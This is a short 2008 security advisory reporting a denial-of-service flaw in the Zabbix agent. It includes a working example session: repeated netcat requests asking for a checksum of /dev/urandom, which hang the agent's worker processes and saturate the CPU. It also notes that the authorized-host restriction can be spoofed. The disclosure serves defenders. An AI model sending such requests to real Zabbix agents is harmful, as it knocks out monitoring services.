Zabbix (zabbix_agentd) denial of service

2008.03.17
Risk: Low
Local: Yes
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Hello, There is some DoS issue with zabbix which can be exploited by a malicious user from an authorized host. ------------------------ An attacker on the authorized host can cause the zabbix_agentd to hang, overconsuming CPU resources. This can be triggered by sending the agent a file checksum request (vfs.file.cksum[file]) with file argument being some "special" device node like /dev/zero or /dev/urandom (the latter rises kernel CPU usage even more). If the malicious user sends <number_of_zabbix_agentd_children> requests, then the zabbix_agentd service will not be able to serve any requests until it's restarted. Here's some example session : ------------ gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 & [1] 24429 gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 & [2] 24431 gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 & [3] 24433 gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 & [4] 24435 ...and some output from top: <snip> Tasks: 183 total, 5 running, 178 sleeping, 0 stopped, 0 zombie Cpu(s): 2.0%us, 97.0%sy, 1.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st <snip> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 24381 zabbix 30 5 5056 1032 768 R 65 0.1 4:16.01 zabbix_agentd 24382 zabbix 30 5 5068 1044 776 R 50 0.1 4:12.18 zabbix_agentd 24380 zabbix 30 5 5068 1044 776 R 50 0.1 4:01.24 zabbix_agentd 24379 zabbix 30 5 5056 1036 772 R 31 0.1 4:08.24 zabbix_agentd ------------------------ zabbix_agentd accepts new connections, but does not serve them. The malicious user needs to connect from an authorized host, but it's not so hard to spoof it if he's on the same ethernet segment as the host running the zabbix_agent.


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